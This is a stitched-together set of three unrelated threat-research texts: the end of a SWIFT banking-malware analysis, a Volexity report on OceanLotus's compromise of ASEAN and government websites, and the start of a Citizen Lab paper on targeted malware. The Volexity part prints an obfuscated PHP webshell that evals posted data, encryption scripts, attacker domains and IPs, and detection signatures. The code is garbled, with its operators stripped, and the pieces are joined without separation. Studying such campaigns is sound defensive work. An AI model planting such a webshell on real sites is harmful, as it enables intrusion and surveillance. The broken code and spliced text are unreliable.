This hints of the manipulation of PDF files.
In the code, we found that the malware uses the original driver fpdsdk.dll from the Foxit SDK to execute the transformation of the files.
2/4 We discovered functionality in the code that converts PDF files to XML files, which are stored in the folder C:\Documents and Settings\Test\Local Settings\Temp\.
The filenames start with XXX or RSP followed by a value between 0-F and finish with the extension .tmp.
Lets return to our list of SWIFT codes of other banks.
The malware reads the SWIFT messages and checks if the sender of the message is one of the listed banks.
Once it finds these messages, it reads their information: The malware can manipulate these messages: deleting transactions, transaction history, and system logs, and prevent the printing of the fraudulent transactions: As in the Bangladeshi attack, we found some typos: Bangladesh: fandation instead of foundation and alreay instead of already Vietnam: FilleOut instead of FileOut 3/4 Does this analysis tell us anything about the actors?
It might, but these details form a weak indicator.
How easy is it to misspell some words on purpose to mislead investigators?
Conclusion In both attacks we can see that the attackers have done their reconnaissance properly and may have used an insider to get the details they needed to prepare their attacks.
In the Bangladeshi case, for example, the malware samples are tuned to the environment and how the banking system operates, including the supported software, databases, and printer.
In the Vietnamese case, the malware is also tuned to fit the environment.
The attackers knew that the bank used Foxit and replaced it with a fake version.
The attackers have a very good understanding of the SWIFT messaging system and how to manipulate the system to prevent the detection of their fraudulent attempts of transferring the money.
The malware in each attack was compiled just before the attack happened.
Although both attacks were discovered at some point during the attempts to transfer large amounts of money, the actors may well have executed a few test runs to check their operations before the real attacks.
The operation in Vietnam happened in December 2015 and was discovered after an investigation of the incident in February 2016 in Bangladesh.
The Vietnamese attack was reported to the banking world in May 2016.
Would logs still be available for an incident that happened about six months ago?
Would the possible test runs be traceable?
These are some of the many questions that arise.
One lesson from both cases is that when a fraud alert is triggered by either an internal system or by transaction authorities, a thorough analysis including an in-depth analysis of the malwareof the tactics and procedures used by the attackers is needed.
In this case, investigators can share indicators such as MD5 sums, but because the attackers have customized their malware, sharing would be of little value.
On the other hand, sharing the methods used by the attackers, the inner working of the malware, and its manipulation of the systems should teach us where to look and adapt our defenses.
4/4 Attacks on SWIFT Banking System Benefit From Insider Knowledge
OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the- media-human-rights-and-civil-society/ November 6, 2017 by Dave Lassalle, Sean Koessel, Steven Adair In May 2017, Volexity identified and started tracking a very sophisticated and extremely widespread mass digital surveillance and attack campaign targeting several Asian nations, the ASEAN organization, and hundreds of individuals and organizations tied to media, human rights and civil society causes.
These attacks are being conducted through numerous strategically compromised websites and have occurred over several high-profile ASEAN summits.
Volexity has tied this attack campaign to an advanced persistent threat (APT) group first identified as OceanLotus by SkyEye Labs in 2015.
OceanLotus, also known as APT32, is believed to be a Vietnam-based APT group that has become increasingly sophisticated in its attack tactics, techniques, and procedures (TTPs).
Volexity works closely with several human rights and civil society organizations.
A few of these organizations have specifically been targeted by OceanLotus since early 2015.
As a result, Volexity has been able to directly observe and investigate various attack campaigns.
This report is based on a very targeted attack that Volexity observed and the research that followed.
1/20 https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/ http://blogs.360.cn/blog/oceanlotus-apt/ https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html Key highlights of this most recent and ongoing attack campaign by the OceanLotus group are as follows: Massive digital profiling and information collection campaign via strategically compromised websites Over 100 websites of individuals and organizations tied to Government, Military, Human Rights, Civil Society, Media, State Oil Exploration, and more used to launch attacks around the globe Use of whitelists to target only specific individuals and organizations Custom Google Apps designed for gaining access to victim Gmail accounts to steal e-mail and contacts Strategic and targeted JavaScript delivery to modify the view of compromised websites to facilitate social engineering of visitors to install malware or provide access to e-mail accounts Large distributed attack infrastructure spanning numerous hosting providers and countries Numerous attacker created domains designed to mimic legitimate online services and organizations such as AddThis, Disqus, Akamai, Baidu, Cloudflare, Facebook, Google, and others Heavy uses of Lets Encrypt SSL/TLS certificates Use of multiple backdoors, such as Cobalt Strike and others, believed to be developed and solely used by OceanLotus Volexity believes the size and scale of this attack campaign have only previously been rivaled by a Russian APT group commonly referred to as Turla and documented in a report from Symantec called The Waterbug attack group.
The OceanLotus threat group has successfully operated, largely unnoticed, through several high-profile websites since late 2016.
Volexity has observed the following operating pattern for the OceanLotus group: Compromise website of strategic importance (e.g.
websites visitors have a higher likelihood to be targets of interest) Add one or more webshell backdoors to victim websites to maintain persistence Webshell used to add JavaScript developed by OceanLotus into the website The malicious JavaScript makes calls over HTTP or HTTPS to attacker controlled domains to typically load one of two different OceanLotus frameworks OceanLotus JavaScript frameworks designed to track, profile, and target the compromised websites visitors Website visitors of interest are flagged for targeting and receive special JavaScript aimed at compromising the users system or e-mail accounts Volexity has also noted that some of the organizations with compromised websites have also been targeted with spear phishing campaigns that attempt to install backdoors on the target systems.
Spear phishing activity and detailed malware infrastructure  will be described in a follow on report on OceanLotus activity.
Compromised Sites 2/20 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf Volexity has been able to identify a staggeringly large number of websites that have been strategically compromised by the OceanLotus attackers.
The number of compromised websites exceeds 100.
The overwhelming majority of the websites that have been compromised belong to Vietnamese individuals and organizations that are critical of the Vietnamese Government.
The remainder of the compromised websites are  tied to one of three countries that share a land border with Vietnam or the Philippines.
Unlike with the Vietnamese victims, in most cases these websites are tied to state owned or affiliated organizations.
Vietnam Volexity has chosen not to list the Vietnamese websites that have been compromised, as the quantity is exceedingly large (over 80) and many of them are tied to individuals or very small organizations.
However, the list below characterizes the types of websites that have been victimized to facilitate this ongoing campaign.
Human Rights Civil Society News/Media (English and Vietnamese Language) Individual Bloggers Religion ASEAN Organization Website Compromised Page Association of Southeast Asian Nations (ASEAN) asean.org /modules/aseanmail/js/wp-mailinglist.js /modules/wordpress- popup/inc/external/wpmu-lib/js/wpmu- ui.3.min.js ASEAN Trade Repository atr.asean.org Main Index ASEAN Investment investasean.asean.org Main Index Cambodia Organization Website Compromised Page Ministry of Foreign Affairs www.mfa.gov.kh /jwplayer.js Ministry of Environment www.moe.gov.kh /other/js/jquery/jquery.js Ministry of Civil Service www.mcs.gov.kh Main Index National Police www.police.gov.kh /wp-includes/js/jquery/jquery.js?ver1.12.4 Ministry of National Assembly- Senate Relations and Inspection www.monasri.gov.kh wtemplates/monasri_template/js/menu/mega.js Ministry of Social Affairs, Veterans, and Youth Rehabilitation www.mosvy.gov.kh /public/js/default.js National Election Committee www.necelect.org.kh Main Index 3/20 China Organization Website Compromised Page BDStar Information Service Co. bdstarlbs.com Main Index BDStar Navigation Co. www.navchina.com Main Index China National United Oil Corporation www.chinaoil.com.cn /chinaoil/xhtml/js/jquery-1.7.2.min.js China Oilfield Services Limited Withheld Withheld China National Offshore Oil Corporation Withheld Withheld Laos Organization Website Compromised Page Bokeo Province bokeo.gov.la Main Index Ministry of Public Works and Transport www.mpwt.gov.la /media/system/js/mootools-core.js Philippines Organization Website Compromised Page Armed Forces of the Philippines www.afp.mil.ph /modules/mod_js_flexslider/assets/js/jquery.easing.js Office of the President op-proper.gov.ph Main Index JavaScript Tracking, Profiling, and Delivery Frameworks The compromised websites are being leveraged to deliver malicious JavaScript designed to profile and fingerprint a user on each visit.
Volexity found that OceanLotus had developed two different JavaScript frameworks to accomplish their profiling and targeting activities.
For the purposes of this blog, we will call them Framework A and Framework B.
With few exceptions, the compromised websites would only have code loading either Framework A or Framework B.
Each of the hostnames and IPs were also tied to one of the two frameworks, with none of them serving up both.
The following sections will provide some detail on the two frameworks and their multiple scripting components.
Framework A Framework A is found on a limited number of victim sites.
Initial URLs for access to Framework A are typically formatted similar to the following: cloudflare-api[.
]com/ajax/libs/jquery/2.1.3/jquery.min.js?s1v72580 Volexity believes the v value is unique and serves as a victim site identifier, which may not be necessary given the data the script sends along as detailed below.
The above script is retrieved 4/20 following a visit to asean.org.
The following code has been appended to legitimate JavaScript loaded by the ASEAN website: Framework A, Script 1  Host Tracking The first script delivered contains several support functions such as an MD5 function, a base64 decoder, and functions for loading additional data.
The goal of this script appears to be defining everything needed to track a host across different requests.
This script defines a section of variables used in other parts of the code.
The host based ones are obtained from the User-Agent in the initial request.
Then it will load a second JavaScript file: The h1 and h2 values in the request are MD5 hashes of some information about the host making the request.
The first hash, h1, is the MD5 hash of various pieces of information collected from the browser and concatenated together.
5/20 The second hash, h2, is also an MD5 hash, but the values concatenated are the screen height and width, timezone, plugins, MIME type, and language information.
The encrypt function simply iterates over the passed string and key string and adds the ASCII values at each position.
Python scripts for encrypting and decrypting are as follows.
Encrypt: /usr/bin/env python import base64 import sys b64_data  base64.b64encode(sys.argv[2]) key  sys.argv[1] enc_data for i, x in enumerate(b64_data): k  key[i  len(key) -1] enc_data  chr(ord(x)  ord(k)) print print base64.b64encode(enc_data) print 6/20 Decrypt: /usr/bin/env python import base64 import sys key  sys.argv[1] b64_data  sys.argv[2] enc_data  base64.b64decode(b64_data) dec_data for i, x in enumerate(enc_data): k  key[i  len(key) -1] dec_data  chr(ord(x) - ord(k)) print print base64.b64decode(dec_data) print Framework A, Script 2  Profiling The second script returned starts by defining a browser_hash variable.
This is composed of h1 and the first 10 characters of h2, separated by .
This script then sends three GET requests, each with a d parameter in the query string that contains some encrypted and base64 encoded data.
One request sends Browser Plugins.
The info is collected in the following part of the code: Another request sends Extended Browser Info.
This info is collected as follows: The final request sends WebRTC info to obtain the host IP address.
7/20 Framework B Framework B is found on the vast majority of sites.
Initial URLs for access to Framework B are simply references to JavaScript (.js) files on OceanLotus controlled sites.
Volexity has found that the URLs from Framework B do not actually matter, so long as the file extension ends in .js and a referrer is sent with the request.
The JavaScript will be sent back regardless of the file or folder requested as long as it meets these two criteria.
The main ASEAN website is one of the few places that contain both Framework A and Framework B.
The following code has also been appended to legitimate JavaScript loaded by the ASEAN website: This script will result in the loading of JavaScript from the following URL: http://ad.jqueryclick[.
]com/assets/adv.js Framework B, Script 1  Host Tracking The second framework collects similar information, but handles host tracking differently.
The initial script that is delivered varies based on the host OS as determined from the User-Agent in the request.
When the script is loaded, it first makes a GET request to https://health-ray- id[.
]com/robot.txt.
This returns a UUID that is sent in subsequent requests as either zuuid or client_zuuid.
It is also saved in localStorage for the compromised site under a key of x00Sync.
The script then makes two GET requests.
Request 1: GET /api/BASE64_ENCODED_DATA/adFeedback.js The base64 data decodes to a JSON string containing information for tracking the host.
For 8/20 example, the data below, where zuuid is the UUID returned from health-ray-id.com.
uuid:62d096b35e82547b6a12607c2820f8e0,zuuid:ca3a8d02-a0f5-4686-9f6b- cab4a17a9e2b,hash: The uuid value (also seen as client_uuid in later requests) is also generated by the script and is stored in a cookie named ___APISID for the compromised domain.
It is generated using the fingerprintjs2 library, which creates a hash based on browser information.
This is another method for tracking users across requests.
This library and several other legitimate JavaScript libraries (including the jQuery core library and others for reading/storing cookies, collecting timezone data, etc.)
are typically downloaded from a CDN URL and saved into localStorage variables to be later used by the script.
They are stored as hex encoded data in a function called x00Config.
If the client is not on the OceanLotus whitelist, this request just returns a single line of JavaScript setting a variable named timestamp.
However, when the client is on the whitelist, Volexity has observed a popup window that slowly fades in on top of the legitimate website.
In a recent attack, the popup appeared Google related and would redirect to a Google OAuth page designed to fool the user into providing access to their account to a malicious Google App.
More details on this appear further down in this post.
Request 2: GET /sync/BASE64 _ENCODED_DATA/img_blank.gif This request contains two pieces of information: a history section and a navigator section.
The history section contains information about the compromised site that the JavaScript was loaded from.
It also contains certain information about the host including the User-Agent, time and timezone, and IP addresses.
The navigator section is blank the first time the request is made.
When the script is first run, it records the current time in another localStorage variable.
It only populates the navigator section if 24 hours have passed.
It will also update the stored timestamp.
This means the large section of data in the navigator section is only sent once per day, even if this compromised site is visited multiple times.
This section includes a lot of the same information collected by Framework A, including MIME Types, plugins, and screen information.
Below are a few portions of the data collected and sent back to the OceanLotus servers.
9/20 https://github.com/Valve/fingerprintjs2 10/20 Framework B, Script 2  Popup for Whitelisted Systems As mentioned above, if a system is not on the whitelist, the GET /api/BASE64_ENCODED_DATA/adFeedback.js request will just return a timestamp variable.
For a whitelisted system, a new script is delivered.
A portion of this script shown below makes a request to download some additional config data.
11/20 The domain for the request is loaded from the SAPIS_ID cookie which was set by the first script.
Before storing, it is split in two, the two substrings are reversed, then it is base64 encoded.
An example of the SAPIS_ID cookie can be seen in the navigator section above.
This ultimately calls the e.fn_getjson() function that makes a request like the following: GET /connect.js?
timestamp59ba12f2eb1e240cd9431624codertps164c6e32b951adc4f3d5661dba2330141 This returns a JSON config like the following: These are saved and accessed via a getConfigs() function for different actions the script can perform.
Ultimately, the script presents a popup over the site saying the content is blocked and requests 12/20 that the visitor sign in to continue.
The code below presents this page and tracks progress using the postShow() and postDown() functions, which send GET requests using the URLs shown above.
When one of the buttons is clicked, the user is redirected to login to the application.
Whitelisted Targeting for Google Account Access Volexity was able to work with organizations on the OceanLotus whitelist that received special responses from Framework B.
As a result, Volexity was able to directly observe two different OceanLotus attacks that attempted to fool the targeted user into providing access to their Google Accounts.
OceanLotus attempts to compromise Google Accounts by prompting the user with a popup directing them to provide OAuth authorizations to a malicious Google App.
Once a user has been flagged for targeting, they will receive a popup when accessing an OceanLotus compromised website once every 24 hours.
This popup slowly fades in over top of the legitimate website and appears quite legitimate.
Screen shots of two different observed popups are shown below.
Version 1: Locked Content 13/20 Version 2: Chrome Sign In Regardless of which option the user clicks, they are redirected to Google to initiate OAuth access to one of OceanLotus Google Apps.
Below is a screen shot of what a user would see prior to authorizing the the nefarious Google App.
14/20 OceanLotus Google App OAuth If the targeted user chooses ALLOW, the OceanLotus Google App immediately logs into the account and starts accessing it.
The account has permissions to access all e-mail and contacts, which is all the access OceanLotus needs to conduct digital surveillance.
Volexity strongly recommends that anyone that thinks they may have been targeted with this campaign or similar attacks review the Defense Against Ocean Lotus section below.
OceanLotus is also known to be distributing malware in the form of fake Internet Explorer, Chrome, and Firefox updates.
Volexity has observed similar attacks via spear phishing against targeted organizations that leverage some of the same malware infrastructure.
In these cases, the following Amazon S3 buckets were used to distribute the malware through JavaScript as part of OceanLotus Framework B or direct links from spear phishing campaigns.
15/20 dload01.s3.amazonaws.com download-attachments.s3.amazonaws.com Volexity has observed multiple custom malware families and Cobalt Strike delivered through these campaigns.
Details on the observed malware samples are forthcoming.
Victim Websites Backdoored Volexity has worked with multiple victim organizations to assist with incident response efforts and to remedy their compromised systems.
This process lead to the identification of different ways the OceanLotus group gains access to the compromised websites and how they maintain access.
Initial Compromise Volexity has observed OceanLotus compromising sites one of two ways: 1.
Direct user account access to the websites content management system (CMS) 2.
Exploitation of outdated plugins and/or CMS components It is currently unknown how the intruders gain working credentials to the victim websites.
Based on the TTPs leveraged by OceanLotus, it is possible that credentials could have been socially engineered (phished) from the victims or that the system administrators have been backdoored and a keylogger has assisted in capturing the login credentials.
Alternatively, it is possible that some of the credentials were simply guessed.
Several of the Vietnamese websites are running on Googles Blogspot platform, so it is reasonable to believe that those users Google accounts may be compromised.
In the case of exploitation, the CMS software used by the victim organizations was often woefully out of date.
Both the core components and added plugins had remotely exploitable vulnerabilities that lead to compromise.
Persistent Access In all examined cases, OceanLotus attackers added PHP webshells to the victim websites.
In most cases, the intruders added a new file that was designed to blend in with the web directory in which it was placed.
In some cases, Volexity observed OceanLotus adding PHP code to an existing legitimate file already on the webserver.
if(_POST[variable-1]md5(md5(_POST[variable-2]))md5 hash)  x\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65eval(x(_POST[variable- 1]))exit() The hex code storage in x translates to base64_decode.
This code checks to see if variable-1 is set and then validates whether the MD5 of the MD5 of the value set for variable-2 matches an expected MD5 hash.
If these both evaluate as true, the contents of variable-1 are base64 decoded and evaluated on the system.
This is a simple webshell that, similar to a China Chopper shell, allows direct execution on the system under the privileges of the account running the webserver.
The OceanLotus intruders use these shells to interact with the system and update their JavaScript code on the various websites.
16/20 OceanLotus also appears to have a potentially automated process that periodically checks if the webshells are still present on the victim systems.
Campaign Infrastructure Volexity has identified a vast and sprawling amount of infrastructure leveraged by OceanLotus as a part of this strategic web compromise campaign.
There are even more indicators associated with various malware campaigns that Volexity will detail in another OceanLotus post to follow.
OceanLotuss attack infrastructure has several unique characteristics, which makes it easy to identify if a particular system is under their control.
As a result, Volexity was able to identify numerous systems that were not directly observed in active attacks but are strongly believed to be tied to OceanLotus.
In the sections below, the infrastructure has been separated into active and inactive/unknown categories.
If the infrastructure is listed as active, this means that Volexity has directly observed the hostnames use in an attack.
If the infrastructure is listed as inactive/unknown, this means that Volexity found evidence the hostname was used in a past attack but is no longer in use or it has never been observed in a direct attack but has unique characteristics indicative of OceanLotus infrastructure.
Active Hostname IPv4 Address IPv6 Address a.doulbeclick.org 45.76.147.201 2001:19f0:4400:48ea:5400:ff:fe71:3201 ad.adthis.org 45.77.39.101 2001:19f0:4400:48fd:5400:ff:fe71:3202 ad.jqueryclick.com 64.62.174.146 N/A api.querycore.com 64.62.174.41 N/A browser- extension.jdfkmiabjpfjacifcmihfdjhpnjpiick.com 79.143.87.174 N/A cdn-js.com 128.199.227.80 N/A cdn.adsfly.co 45.32.100.179 2001:19f0:4400:4798:5400:ff:fe71:3200 cdn.disqusapi.com 45.76.179.28 2001:19f0:4400:4989:5400:ff:fe71:3204 cloudflare-api.com 45.32.105.45 NA cory.ns.webjzcnd.com 139.59.223.191 NA googlescripts.com 45.114.117.164 NA health-ray-id.com 138.197.236.215 2604:a880:2:d0::378c:e001 hit.asmung.net 45.32.114.49 NA jquery.google-script.org 45.32.105.45 NA js.ecommer.org 45.76.179.151 2001:19f0:4400:48fd:5400:ff:fe71:3202 s.jscore-group.com 64.62.174.17 NA 17/20 s1.gridsumcontent.com 103.28.44.112 NA s1.jqueryclick.com 64.62.174.145 NA ssl.security.akamaihd-d.com 37.59.198.131 NA stat.cdnanalytic.com 203.114.75.22 NA stats.widgetapi.com 64.62.174.99 NA track-google.com 203.114.75.73 NA update.security.akamaihd-d.com 89.33.64.207 N/A update.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 wiget.adsfly.co 45.32.100.179 2001:19f0:4400:4798:5400:ff:fe71:3200 www.googleuserscontent.org 139.59.217.207 2400:6180:0:d0::4315:7001 Inactive/Unknown Status Volexity was able to identify a substantial amount of infrastructure that belongs to OceanLotus that is setup in a manner consistent with the above hostnames.
However, Volexity has not directly observed attacks leveraging these hostnames.
Hostname IPv4 Address IPv6 Address ad.linksys-analytic.com 64.62.174.16 N?A ads.alternativeads.net 45.77.39.101 2001:19f0:4400:48fd:5400:ff:fe71:3202 api.2nd-weibo.com 64.62.174.146 N/A api.analyticsearch.org 64.62.174.41 N/A api.baiduusercontent.com 79.143.87.174 N/A api.disquscore.com 128.199.227.80 N/A api.fbconnect.net sinkholed N/A cache.akamaihd-d.com 89.33.64.232 N/A cloud.corewidget.com 139.59.217.207 2400:6180:0:d0::4315:7001 core.alternativeads.net 139.59.220.12 2400:6180:0:d0::4315:9001 d3.advertisingbaidu.com 139.59.223.191 NA eclick.analyticsearch.org 64.62.174.21 N/A google-js.net 45.32.105.45 NA google-js.org 45.32.105.45 NA google-script.net 45.32.105.45 N/A gs.baidustats.com 103.28.44.115 NA 18/20 linked.livestreamanalytic.com 139.59.220.10 2400:6180:0:d0::4315:8001 linksys-analytic.com 64.62.174.17 NA live.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 static.livestreamanalytic.com 139.59.220.10 2400:6180:0:d0::4315:8001 stats.corewidget.com 139.59.217.207 2400:6180:0:d0::4315:7001 update.akamaihd-d.com 37.59.198.130 NA update.webfontupdate.com 188.166.219.18 2400:6180:0:d0::4315:d001 upgrade.liveupdateplugins.com 128.199.90.216 2400:6180:0:d0::4315:c001 widget.jscore-group.com 64.62.174.9 NA Defending Against OceanLotus While the described attack campaign relies on fooling a user, the popups on the websites are quite convincing and legitimate looking.
As a result, Volexity would recommend immediately putting in blocks or sinkholes for the domains and IP addresses listed above to prevent profiling and possible exploitation.
The observed attacks thus far have relied on social engineering campaigns however, it would be trivial for OceanLotus to introduce an exploit into this chain.
As for malware indicators, Volexity will be providing additional data related to malware and backdoor infrastructure in a future write-up to follow soon.
When it comes to Google accounts, Volexity would recommend that users enable the 2-Step Authentication.
This is an effective way to prevent access to a Google account should the password be compromised.
However, in the case of this OceanLotus campaign, the attackers are leveraging a Google App that has OAuth authorized access to the victims e-mail and contacts.
This effectively bypasses 2-Step authentication as a result.
Users should be very careful to only authorize legitimate and known Google Apps.
Users can verify what Google Apps have access to their account by visiting the following URL: https://myaccount.google.com/u/1/permissions This will list the Google Apps with access to the account along with their permission levels.
It is possible to defend against unauthorized applications and increase a Google Accounts security through the Google Advanced Protection Program as well Users can further verify what Google Apps and devices are accessing their account via the following steps: Log into Gmail from a web browser via https://mail.google.com Scroll to the bottom of the page and click Details to see a list of recent accesses to the account If any access stands out as coming from an unauthorized application or address, the guidance in 19/20 https://support.google.com/accounts/answer/185839 https://landing.google.com/advancedprotection/ the steps on the following page should be reviewed: https://support.google.com/mail/answer/7036019 Finally, for website administrators, the key recommendations are as follows: Use strong passwords for CMS and system authentication Restrict access to the system and CMS functionality as much as possible (limited users, ACLs, etc.)
Implement two-factor (2FA) where possible Keep operating systems, CMS software, and CMS plugins up-to-date Disable or remove any accounts that are no longer needed or are unrecognized Network Signatures In addition to the domains and IP addresses, the following network signatures can be used to detect various OceanLotus profiling and targeting activity.
alert http HOME_NET any - EXTERNAL_NET any (msg:Volex  OceanLotus JavaScript Load (connect.js) flow:to_server,established content:GET http_method content:connect.js?
timestamp http_uri sid:2017083001 ) alert http EXTERNAL_NET any - HOME_NET any (msg:Volex  OceanLotus JavaScript Fake Page URL Builder Response flow:to_client,established file_datacontent:22link22:22http depth:13 file_data content:22load22 sid:2017083002 rev:1) alert http EXTERNAL_NET any - HOME_NET any (msg:Volex  OceanLotus System Profiling JavaScript (linkStorage.x00SOCKET) flow:to_client,established file_data content:linkStorage.x00SOCKET sid:2017083003) Conclusion Volexity believes the OceanLotus threat group has rapidly advanced its capabilities and is now one of the more sophisticated APT actors currently in operation.
While Volexity does not typically engage in attempting attribution of any threat actor, Volexity does agree with previously reported assessments that OceanLotus is likely operating out of Vietnam.
This is largely due to the extreme and wide-scale nature of certain targeting that would be extremely unlikely to align with the interests of those outside of Vietnam.
As a result, Volexity believes that OceanLotus has been rapidly developing a highly skilled and organized computer network exploitation (CNE) capability.
20/20 OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society Compromised Sites Vietnam ASEAN Cambodia China Laos Philippines JavaScript Tracking, Profiling, and Delivery Frameworks Framework A Framework B Whitelisted Targeting for Google Account Access Victim Websites Backdoored Initial Compromise Persistent Access Campaign Infrastructure Active Inactive/Unknown Status Defending Against OceanLotus Network Signatures Conclusion
This paper is included in the Proceedings of the 23rd USENIX Security Symposium.
August 2022, 2014  San Diego, CA ISBN 978-1-931971-15-7 Open access to the Proceedings of the 23rd USENIX Security Symposium is sponsored by USENIX Targeted Threat Index: Characterizing and Quantifying Politically-Motivated Targeted Malware Seth Hardy, Masashi Crete-Nishihata, Katharine Kleemola, Adam Senft, Byron Sonne, and Greg Wiseman, The Citizen Lab Phillipa Gill, Stony Brook University Ronald J. Deibert, The Citizen Lab https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/hardy USENIX Association  23rd USENIX Security Symposium 527 Targeted Threat Index: Characterizing and Quantifying Politically-Motivated Targeted Malware Seth Hardy Masashi Crete-Nishihata Katharine Kleemola Adam Senft Byron Sonne Greg Wiseman Phillipa Gill Ronald J. Deibert The Citizen Lab, Munk School of Global Affairs, University of Toronto, Canada Stony Brook University, Stony Brook, USA Abstract Targeted attacks on civil society and non-governmental organizations have gone underreported despite the fact that these organizations have been shown to be frequent targets of these attacks.
In this paper, we shed light on targeted malware attacks faced by these organizations by studying malicious e-mails received by 10 civil society organizations (the majority of which are from groups re- lated to China and Tibet issues) over a period of 4 years.
Our study highlights important properties of malware threats faced by these organizations with implications on how these organizations defend themselves and how we quantify these threats.
We find that the technical sophis- tication of malware we observe is fairly low, with more effort placed on socially engineering the e-mail con- tent.
Based on this observation, we develop the Targeted Threat Index (TTI), a metric which incorporates both so- cial engineering and technical sophistication when as- sessing the risk of malware threats.
We demonstrate that this metric is more effective than simple technical sophis- tication for identifying malware threats with the high- est potential to successfully compromise victims.
We also discuss how education efforts focused on changing user behaviour can help prevent compromise.
For two of the three Tibetan groups in our study simple steps such as avoiding the use of email attachments could cut document-based malware threats delivered through e-mail that we observed by up to 95.
1 Introduction Civil society organizations (CSOs), working on hu- man rights issues around the globe, face a spectrum of politically-motivated information security threats that seek to deny (e.g.
Internet filtering, denial-of-service at- tacks), manipulate (e.g.
website defacements) or moni- tor (e.g.
targeted malware) information related to their work.
Targeted malware attacks in particular are an in- creasing problem for CSOs.
These attacks are not iso- lated incidents, but waves of attacks organized in cam- paigns that persistently attempt to compromise systems and gain access to networks over long periods of time while remaining undetected.
These campaigns are cus- tom designed for specific targets and are conducted by highly motivated attackers.
The objective of these cam- paigns is to extract information from compromised sys- tems and monitor user activity and is best understood as a form of espionage.
CSOs can be particularly suscep- tible to these threats due to limited resources and lack of security awareness.
Targeted malware is an active re- search area, particularly in private industry.
However, focused studies on targeted attacks against CSOs are rel- atively limited despite the persistent threats they face and the vulnerability of these groups.
In this study, we work with 10 CSOs for a period of 4 years to characterize and track targeted malware cam- paigns against these groups.
With the exception of two groups that work on human rights in multiple countries, the remaining eight groups focus on China and Tibet- related human rights issues.
We focus on targeted mal- ware typically delivered via e-mail that is specifically tai- lored to these groups as opposed to conventional spam which has been well characterized in numerous previous works [27, 42, 45, 52, 70, 71].
We consider the threats to these groups along two axes: the technical sophistica- tion of the malware as well as sophistication of the so- cial engineering used to deliver the malicious payload.
We combine these two metrics to form an overall threat ranking that we call the Targeted Threat Index (TTI).
While other scoring systems exist for characterizing the level of severity and danger of a technical vulnerabil- ity [7, 17, 41, 50], no common system exists for ranking the sophistication of targeted e-mail attacks.
TTI allows us to gain insights into the relative sophistication of so- cial engineering and malware leveraged against CSOs.
A key to the success of our study is a unique method- ology, combining qualitative and technical analysis of 528 23rd USENIX Security Symposium USENIX Association e-mails and their attachments with fieldwork (e.g.
site visits) and interviews with affected CSOs.
This method- ology, which we describe in more detail in Section 3, al- lows us to both accurately rate the level of targeting of e- mail messages by interfacing with CSOs participating in our study (Section 4.2), and understand the relative tech- nical sophistication of different malware families used in the attacks (Section 4.3).
By combining the strengths of our qualitative and quantitative analysis, we are able to accurately understand trends in terms of social engineer- ing and technical sophistication of politically-motivated targeted malware threats faced by CSOs.
Our study makes the following observations, which have implications for security strategies that CSOs can employ to protect themselves from targeted malware: Attachments are the primary vector for email based targeted malware.
More than 80 of malware deliv- ered to Tibet-related organizations in our study and sub- mitted to us is contained in an e-mail attachment.
Fur- ther, for 2 of the 3 Tibetan organizations in our study (with at least 40 submitted e-mails), simply not opening attachments would mitigate more than 95 of targeted malware threats that use email as a vector.
Targeted malware technical sophistication is low.
So- cial engineering sophistication is high We find that the technical sophistication of targeted malware deliv- ered to CSOs in our study is relatively low (e.g., rela- tive to commercial malware that has been found targeting CSOs and journalists [35,36,38] and conventional finan- cially motivated malware), with much more effort given to socially engineering messages to mislead users.
This finding highlights the potential for education efforts fo- cused on changing user behaviours rather than high-cost technical security solutions to help protect CSOs.
CSOs face persistent and highly motivated actors.
For numerous malware samples in our study we ob- serve several versions of the software appearing over the course of our four year study.
These multiple ver- sions show evidence of technical improvements to com- plement existing social engineering techniques.
Since the start of our study we have participated in a series of workshops with the participating Tibetan or- ganizations to translate these results into a training cur- riculum.
Specifically, we have educated them about how to identify suspicious e-mail headers to identify spoofed senders and demonstrated tools that can be used to check e-mailed links for malware and drive-by-downloads.
The rest of the paper is structured as follows.
Sec- tion 2 presents relevant background on targeted malware and attacks on CSOs.
Our data collection methodology is described in Section 3.
We describe our targeting and technical sophistication metrics as well as how we com- bine them to produce the Targeted Threat Index (TTI) in Section 4.
Training and outreach implications of our work are discussed in Section 5.
We present related work in Section 6 and conclude in Section 7.
2 Background 2.1 Targeted Malware Overview Targeted malware are a category of attacks that are dis- tinct from common spam, phishing, and financially mo- tivated malware.
Spam and mass phishing attacks are indiscriminate in the selection of targets and are directed to the largest number of users possible.
Similarly, finan- cially motivated malware such as banking trojans seek to compromise as many users as possible to maximize the potential profits that can be made.
The social engi- neering tactics and themes used by these kinds of attacks are generic and the attack vectors are sent in high vol- umes.
By contrast targeted malware attacks are designed for specific targets, sent in lower volumes, and are moti- vated by the objective of stealing specific sensitive data from a target.
Targeted malware attacks typically involve the follow- ing stages [24, 66]: Reconnaissance: During this stage attackers conduct research on targets including profiling systems, software, and information security defenses used to identify possi- ble vulnerabilities and contextual information on person- nel and activities to aid social engineering.
Delivery: During this stage a vector for delivering the attack is selected.
Common vectors include e-mails with malicious documents or links, or contacting targets through instant messaging services and using social en- gineering to send malware to them.
Typically, a target of such an attack receives an e-mail, possibly appearing to be from someone they know, containing text that urges the user to open an attached document (or visit a web- site).
Compromise: During this stage malicious code is exe- cuted on a target machine typically after a user initiated action such as opening a malicious document or link.
Command and Control: During this stage the infected host system establishes a communications channel to a command and control (CC) server operated by the at- tackers.
Once this channel has been established the at- tackers can issue commands and download further mal- ware on to the system Additional attacker actions: After a successful com- promise is established, attackers can conduct a number of actions including ex-filtrating data from the infected host and transmitting it back to attackers through a process of encrypting, compressing, and transferring to a server 2 USENIX Association  23rd USENIX Security Symposium 529 operated by the attackers.
Attackers may also use pe- ripherals such as webcams and microphones to monitor users in real time.
